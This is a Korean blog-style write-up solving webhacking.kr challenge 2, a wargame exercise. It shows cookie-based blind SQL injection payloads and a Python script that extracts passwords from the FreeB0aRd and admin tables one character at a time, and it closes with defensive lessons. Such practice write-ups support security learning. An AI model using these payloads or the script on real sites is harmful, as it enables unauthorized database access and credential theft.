일단 들어가면 아주 황당한데 그 이유는 그림을 보면 쉽게 이해가 된다
진짜 뭐 어쩌라는지 모르겠다.
짜증나는 마음을 뒤로 하고 침착하게 소스보기를 눌러본다.
<html> <head> <title>Project Progress</title> </head> <body bgcolor=black> <center> <table width=970 bgcolor=white> <td colspan=5> <img src="img/new_main.jpg" alt="" usemap="#main.jpg" style="border: 0;" /> <map name="main.jpg"> <area shape="rect" coords="15,8,517,54" href="index.php" target="" alt="" /> <area shape="rect" coords="339,63,403,93" href="about.php" target="" alt="" /> <area shape="rect" coords="413,63,490,92" href="member.php" target="" alt="" /> <area shape="rect" coords="500,63,582,92" href="research.php" target="" alt="" /> <area shape="rect" coords="592,63,651,92" href="bbs/index.php" target="" alt="" /> <area shape="rect" coords="662,64,745,93" href="fun.php" target="" alt="" /> <area shape="rect" coords="756,63,825,93" href="contact.php" target="" alt="" /> <area shape="rect" coords="851,7,890,65" href="admin/" target="" alt="" /> </map> <br><center><br> </td><tr> </table> <table bgcolor=white width=976> <td width=88></td> <td width=800> <br> <center> <a href=index.php><img src=img/new.jpg border=0></a><br> <br><br> <!--2016-03-04 06:25:03--></td> <td width=88></td> </table> <table width=970 bgcolor=black> <td><br><center><font size=2 color=white>Copyright ⓒ 2008 beistlab. All rights reserved</td> </table>
왠 주석이 달려있는데 날짜만 맞고 현재시간하고도 완전히 틀린값이다.
그리고 admin이라는 메뉴가 있다.
관리자 메뉴가 노출 되고 있다는 말인데, map을 이용해서 용가리에 클릭하면 넘어갈 수 있게 되어 있다. 궁금하니까 용가리를 클릭해본다.
딱히 안눌러봐도 됐을것 같다.
어쨌든 admin page로 가는 비번을 찾아야 한다.
사이트 내부를 둘러보면 왠만한건 그냥 거의 설명이고 단서는 board에 있다.(고 생각한다)
게시판. 게시판하면 injection아니겠는가.
이제 어떻게 인젝션을 할지 곰곰히 고민을 해본다.
일단 보드의 이름이 FreeB0aRd 라는데 수상해보인다. keep in mind하고 넘어가본다.
소스보기를 해봐도 얘는 딱히 약점이 없다. 그냥 말그대로 폼이다. 1번 문제를 풀어봤으니 일단 raw를 한번 보기로 한다.
GET http://webhacking.kr/challenge/web/web-02/bbs/index.php HTTP/1.1 Host: webhacking.kr User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ko,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://webhacking.kr/challenge/web/web-02/research.php Cookie: time=1457083503; PHPSESSID= Connection: keep-alive Cache-Control: max-age=0
옳거니, 쿠키가있는데 타임스탬프다.
변환해보니 아까 위에 쓰여있던 주석과 같은 시간이다. 자바스크립트로 시간을 기록하는것도 없고, 그냥 PHP에서 쓰고 있다.
그렇다면 요 타임스탬프는 서버와 연관이 있는게 아닐까? 쿠키를 조작해볼 시간이다.
Cookie: time=1457083503 or show tables;
request를 변환해서 날려봤더니
주석이 있어야할 자리에 이상한녀석이 껴서 온다.
<a href=index.php><img src=img/new.jpg border=0></a><br> <br><br> Access Denied
액세스 디나이가 나온다는 말은 아마 webhacking.kr 의 DB 테이블을 조회못하게 하려고 Access denied가 날아오는 것 같은데, 어쨌든 기재되어 있는 주석은 DB로 부터 불러온다는것으로 짐작할 수 있다. 다양하게 쿼리를 조작해서(1=1 / 1=0 등..) 날려보면 주석이 다음과 같이 바뀐다.
<!--2070-01-01 09:00:00--> // False <!--2070-01-01 09:00:01--> // True
다만 표시에 제한을 하고 있어서 상세한 데이터를 뽑아낼 수가 없다. True / False만 판별하는 Blind sql injection을 시도해봐야 한다.
아까 이상하게 생각했던 FreeB0aRd 가 테이블이름이란다. 옛날에는 힌트로 빼줬다고 한다.(사실 테이블이름을 알 수가 없어서 찾아봤다)
SPIN OFF - How to get column name? (click)
어쨌든 컬럼(필드)네임은 'password'로 가정해서 진행한다.
다음과 같은 쿼리를 날려본다. 8도해보고, 10도 해보고.
time=1457335419 and (SELECT length(password) from FreeB0aRd) = 10
이렇게 했을때 10에서 True값을 얻을 수 있었다. 비밀번호는 10자리임을 알게 되었다.
아스키코드를 한자리씩 때려넣으면서 1자리씩 비교를 해야하는데, 이건 루프가 어마어마하기때문에 python 코드를 작성해서 true값이 나오는지 비교해본다.
다음의 코드를 참조하자.
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, re sess = "PHP SESSION" pw = "" for i in range(1, 11): for j in range(33,126): headers = {'Host': 'webhacking.kr', 'Cookie': "time=1457335419 and (select ascii(substring(password,{},1)) from FreeB0aRd)={}; PHPSESSID={}".format(i,j,sess) } req = urllib2.Request('http://webhacking.kr/challenge/web/web-02/', '', headers) response = urllib2.urlopen(req) the_page = response.read() if re.findall("<!--2070-01-01 09:00:01-->",the_page): pw = pw + chr(j) break print pw
이렇게 비밀번호를 얻을 수 있다.
bbs로 돌아가서 비밀번호가 설정된 글을 비밀번호로 접근하면 내용을 읽을 수 있게 된다.
admin manual 은 zip파일이며 내용엔 manual.html이라는 비밀번호가 걸린 파일이 있다.
얘를 풀수가 없다. 다시 비밀번호가 걸려있던 admin 페이지로 이동해보자. 비밀번호 input이 10자리를 받도록 되어있는데 10자리가 맞을까?
사실 테이블을 알 수 없는 상태이기때문에 역시 가정으로 admin이라고 생각해보고, 같은 과정을 거친다.
time=1457335419 and (SELECT length(password) from admin) = 10;
10자리이다. 위 python 코드를 조금만 수정해 리퀘스트를 날려보자.
비슷한 시간대로 비밀번호를 얻을 수 있다.
획득한 비밀번호를 관리자페이지에 입력하면 패스워드가 나온다.
메뉴얼엔 비밀번호가 적혀있고, auth를 통해 인증해주면 Challenge 2를 완료하게 된다.
위 문제로 배울점은, 우선 테이블명이 쉽게 노출되선 안되며 db 권한조절이 매우 중요하다는 점이다.
쿠키를 인해 injection이 가능하다는 점도 분명히 취약점이지만, 결국 true/ false가 반환되는 문제보다도 blind injection을 시도할 수 있도록 테이블명이 노출되던점이 가장 큰 핵심이었다고 할 수 있겠다.